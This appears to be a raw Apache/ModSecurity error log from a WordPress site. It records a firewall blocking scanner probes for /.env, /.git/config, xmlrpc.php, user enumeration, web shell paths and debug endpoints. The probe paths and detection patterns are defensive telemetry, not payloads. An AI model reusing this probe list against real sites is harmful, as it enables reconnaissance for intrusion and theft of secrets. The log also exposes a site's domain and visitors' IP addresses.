[Sat Nov 15 22:52:18.787070 2025] [:error] [pid 19959:tid 19973] [client 43.159.132.207:52628] [client 43.159.132.207] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aRiTosjejiTUP1-IawMDLgAAAYc"]
[Sat Nov 15 23:03:49.158970 2025] [:error] [pid 19961:tid 20014] [client 103.172.151.230:58248] [client 103.172.151.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.172.151.230, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRiWVTar7Si-84EApVSXEAAAAdU"]
[Sat Nov 15 23:19:16.465280 2025] [:error] [pid 19961:tid 20000] [client 116.75.222.49:57255] [client 116.75.222.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.75.222.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRiZ9Dar7Si-84EApVSY0AAAAcc"]
[Sat Nov 15 23:19:54.978030 2025] [:error] [pid 20654:tid 20679] [client 77.247.111.124:63685] [client 77.247.111.124] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aRiaGncS7eC8vO76_ycntwAAA5Y"]
[Sat Nov 15 23:19:56.308823 2025] [:error] [pid 20654:tid 20670] [client 77.247.111.124:63685] [client 77.247.111.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.247.111.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRiaHHcS7eC8vO76_ycnuQAAA40"]
[Sat Nov 15 23:19:57.660790 2025] [:error] [pid 22765:tid 22776] [client 77.247.111.124:61773] [client 77.247.111.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.247.111.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRiaHabrQzjuZmPIWDYgrwAAAoY"]
[Sat Nov 15 23:19:59.084222 2025] [:error] [pid 19961:tid 20008] [client 77.247.111.124:64317] [client 77.247.111.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.247.111.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRiaHzar7Si-84EApVSY2gAAAc8"]
[Sat Nov 15 23:20:00.413636 2025] [:error] [pid 22765:tid 22768] [client 77.247.111.124:61898] [client 77.247.111.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.247.111.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRiaIKbrQzjuZmPIWDYgswAAAoA"]
[Sat Nov 15 23:20:01.743733 2025] [:error] [pid 27909:tid 27924] [client 77.247.111.124:58272] [client 77.247.111.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.247.111.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRiaISTfZ6B57n8HepVRogAAAAs"]
[Sat Nov 15 23:20:03.101475 2025] [:error] [pid 20313:tid 20326] [client 77.247.111.124:53325] [client 77.247.111.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.247.111.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRiaIxI9DXIgPadBLUawYgAAAso"]
[Sat Nov 15 23:20:03.101637 2025] [:error] [pid 20313:tid 20326] [client 77.247.111.124:53325] [client 77.247.111.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 77.247.111.124, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRiaIxI9DXIgPadBLUawYgAAAso"]
[Sun Nov 16 01:26:35.285872 2025] [:error] [pid 20346:tid 20362] [client 64.94.84.15:57568] [client 64.94.84.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/index"] [unique_id "aRi3y57hsydZdIoVTluCzQAAAw0"]
[Sun Nov 16 01:58:32.491017 2025] [:error] [pid 20346:tid 20354] [client 116.75.222.49:57225] [client 116.75.222.49] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aRi_SJ7hsydZdIoVTluJwAAAAwU"]
[Sun Nov 16 03:20:39.525592 2025] [autoindex:error] [pid 27972:tid 27997] [client 20.2.83.141:62067] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Nov 16 04:59:08.280807 2025] [:error] [pid 20556:tid 20563] [client 220.247.224.162:49603] [client 220.247.224.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/include.php"] [unique_id "aRjpnEkbyEckbWtBcCKFqQAAAQU"]
[Sun Nov 16 04:59:08.977982 2025] [:error] [pid 52563:tid 52569] [client 220.247.224.162:56723] [client 220.247.224.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/include.php"] [unique_id "aRjpnM-l3ey-hVJ5AuvqlAAAAMM"]
[Sun Nov 16 04:59:13.831755 2025] [:error] [pid 52470:tid 52528] [client 220.247.224.162:57572] [client 220.247.224.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/hello_dolly_v2.php"] [unique_id "aRjpoUg9mXF2ZFFtj1XEvgAAAFc"]
[Sun Nov 16 04:59:14.388016 2025] [:error] [pid 20556:tid 20575] [client 220.247.224.162:63970] [client 220.247.224.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/hello_dolly_v2.php"] [unique_id "aRjpokkbyEckbWtBcCKFrgAAARE"]
[Sun Nov 16 04:59:18.078143 2025] [:error] [pid 20556:tid 20558] [client 220.247.224.162:64815] [client 220.247.224.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/WordPressCore_lvig/include.php"] [unique_id "aRjppkkbyEckbWtBcCKFtQAAAQA"]
[Sun Nov 16 04:59:18.619692 2025] [:error] [pid 52470:tid 52526] [client 220.247.224.162:53060] [client 220.247.224.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/WordPressCore_lvig/include.php"] [unique_id "aRjppkg9mXF2ZFFtj1XEvwAAAFU"]
[Sun Nov 16 05:13:58.086068 2025] [:error] [pid 52471:tid 52542] [client 34.87.99.89:1472] [client 34.87.99.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.87.99.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRjtFtmWsFzjR5CEgDWc3gAAAIo"]
[Sun Nov 16 05:15:24.865986 2025] [:error] [pid 20556:tid 20559] [client 165.22.210.134:26982] [client 165.22.210.134] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "aRjtbEkbyEckbWtBcCKKpQAAAQE"]
[Sun Nov 16 08:06:58.455107 2025] [:error] [pid 20556:tid 20565] [client 180.102.134.69:45355] [client 180.102.134.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRkVokkbyEckbWtBcCLI0wAAAQc"]
[Sun Nov 16 12:50:05.428772 2025] [:error] [pid 34165:tid 34204] [client 68.183.180.73:50090] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/v2/api-docs"] [unique_id "aRlX_XhG2YTKEjXchwnthQAAAck"]
[Sun Nov 16 12:50:05.692172 2025] [:error] [pid 52471:tid 52540] [client 68.183.180.73:50094] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/v3/api-docs"] [unique_id "aRlX_dmWsFzjR5CEgDUOgAAAAIg"]
[Sun Nov 16 12:50:05.979079 2025] [:error] [pid 34227:tid 34249] [client 68.183.180.73:50102] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/api-docs/swagger.json"] [unique_id "aRlX_X108zGLYs9eMuj8-AAAAhQ"]
[Sun Nov 16 12:50:06.243377 2025] [:error] [pid 52563:tid 52588] [client 68.183.180.73:50110] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/api/swagger.json"] [unique_id "aRlX_s-l3ey-hVJ5AutqnQAAANY"]
[Sun Nov 16 12:50:06.508291 2025] [:error] [pid 52563:tid 52589] [client 68.183.180.73:50122] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/@vite/env"] [unique_id "aRlX_s-l3ey-hVJ5AutqngAAANc"]
[Sun Nov 16 12:50:06.773789 2025] [:error] [pid 34271:tid 34277] [client 68.183.180.73:50136] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/actuator/env"] [unique_id "aRlX_kNmlZhoZZV1BUB--gAAAkQ"]
[Sun Nov 16 12:50:07.039994 2025] [:error] [pid 20556:tid 20565] [client 68.183.180.73:50148] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aRlX_0kbyEckbWtBcCIuzQAAAQc"]
[Sun Nov 16 12:50:07.304477 2025] [:error] [pid 52471:tid 52549] [client 68.183.180.73:41638] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/server"] [unique_id "aRlX_9mWsFzjR5CEgDUOgQAAAJE"]
[Sun Nov 16 12:50:07.568595 2025] [:error] [pid 52563:tid 52579] [client 68.183.180.73:41644] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/.vscode/sftp.json"] [unique_id "aRlX_8-l3ey-hVJ5AutqnwAAAM0"]
[Sun Nov 16 12:50:07.832252 2025] [:error] [pid 34271:tid 34288] [client 68.183.180.73:41650] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/about"] [unique_id "aRlX_0NmlZhoZZV1BUB--wAAAk8"]
[Sun Nov 16 12:50:08.094758 2025] [:error] [pid 52471:tid 52547] [client 68.183.180.73:41656] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/debug/default/view"] [unique_id "aRlYANmWsFzjR5CEgDUOggAAAI8"]
[Sun Nov 16 12:50:08.358774 2025] [:error] [pid 34227:tid 34238] [client 68.183.180.73:41660] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/v2/_catalog"] [unique_id "aRlYAH108zGLYs9eMuj8-QAAAgk"]
[Sun Nov 16 12:50:08.622254 2025] [:error] [pid 34133:tid 34151] [client 68.183.180.73:41670] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aRlYAPSAB3iwXVRY0gFdhwAAAVA"]
[Sun Nov 16 12:50:08.885823 2025] [:error] [pid 34133:tid 34135] [client 68.183.180.73:41686] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/server-status"] [unique_id "aRlYAPSAB3iwXVRY0gFdiAAAAUA"]
[Sun Nov 16 12:50:09.149648 2025] [:error] [pid 34165:tid 34211] [client 68.183.180.73:41692] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/login.action"] [unique_id "aRlYAXhG2YTKEjXchwnthgAAAdA"]
[Sun Nov 16 12:50:09.412438 2025] [:error] [pid 34227:tid 34242] [client 68.183.180.73:41708] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/_all_dbs"] [unique_id "aRlYAX108zGLYs9eMuj8-gAAAg0"]
[Sun Nov 16 12:50:09.674997 2025] [:error] [pid 34271:tid 34276] [client 68.183.180.73:41722] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/.DS_Store"] [unique_id "aRlYAUNmlZhoZZV1BUB_AAAAAkM"]
[Sun Nov 16 12:50:09.937168 2025] [:error] [pid 34164:tid 34183] [client 68.183.180.73:41738] [client 68.183.180.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env"] [unique_id "aRlYAe93ccBCLD8-Q4YBjgAAAY8"]
[Sun Nov 16 12:50:10.200723 2025] [:error] [pid 34164:tid 34170] [client 68.183.180.73:41752] [client 68.183.180.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aRlYAu93ccBCLD8-Q4YBjwAAAYI"]
[Sun Nov 16 12:50:10.463842 2025] [:error] [pid 34165:tid 34199] [client 68.183.180.73:41754] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aRlYAnhG2YTKEjXchwnthwAAAcQ"]
[Sun Nov 16 12:50:10.728696 2025] [:error] [pid 20556:tid 20562] [client 68.183.180.73:41758] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/config.json"] [unique_id "aRlYAkkbyEckbWtBcCIu0AAAAQQ"]
[Sun Nov 16 12:50:10.999662 2025] [:error] [pid 34133:tid 34143] [client 68.183.180.73:41770] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/telescope/requests"] [unique_id "aRlYAvSAB3iwXVRY0gFdiQAAAUg"]
[Sun Nov 16 12:50:11.264301 2025] [:error] [pid 52469:tid 52501] [client 68.183.180.73:41784] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/info.php"] [unique_id "aRlYA06HaXpHeEZ98Z1sDAAAABg"]
[Sun Nov 16 12:50:11.528255 2025] [:error] [pid 34133:tid 34159] [client 68.183.180.73:41788] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aRlYA_SAB3iwXVRY0gFdigAAAVg"]
[Sun Nov 16 12:51:45.436037 2025] [:error] [pid 34164:tid 34173] [client 163.172.106.185:60727] [client 163.172.106.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.172.106.185, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRlYYe93ccBCLD8-Q4YBuwAAAYU"]
[Sun Nov 16 14:32:45.206317 2025] [:error] [pid 34271:tid 34284] [client 123.187.240.242:60755] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aRlwDUNmlZhoZZV1BUCQdwAAAks"]
[Sun Nov 16 14:36:00.323616 2025] [:error] [pid 52469:tid 52492] [client 85.194.44.225:56866] [client 85.194.44.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.194.44.225, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRlw0E6HaXpHeEZ98Z2NbwAAAA8"]
[Sun Nov 16 17:53:49.412635 2025] [:error] [pid 34227:tid 34241] [client 45.138.16.215:52786] [client 45.138.16.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/postnews.php"] [unique_id "aRmfLX108zGLYs9eMugxngAAAgw"]
[Sun Nov 16 17:53:49.950917 2025] [:error] [pid 34301:tid 34318] [client 45.138.16.215:54225] [client 45.138.16.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/postnews.php"] [unique_id "aRmfLbGPoZwUGuFNREvDsAAAAo4"]
[Sun Nov 16 17:53:50.491398 2025] [:error] [pid 34133:tid 34139] [client 45.138.16.215:55249] [client 45.138.16.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/postnews.php"] [unique_id "aRmfLvSAB3iwXVRY0gGLYQAAAUQ"]
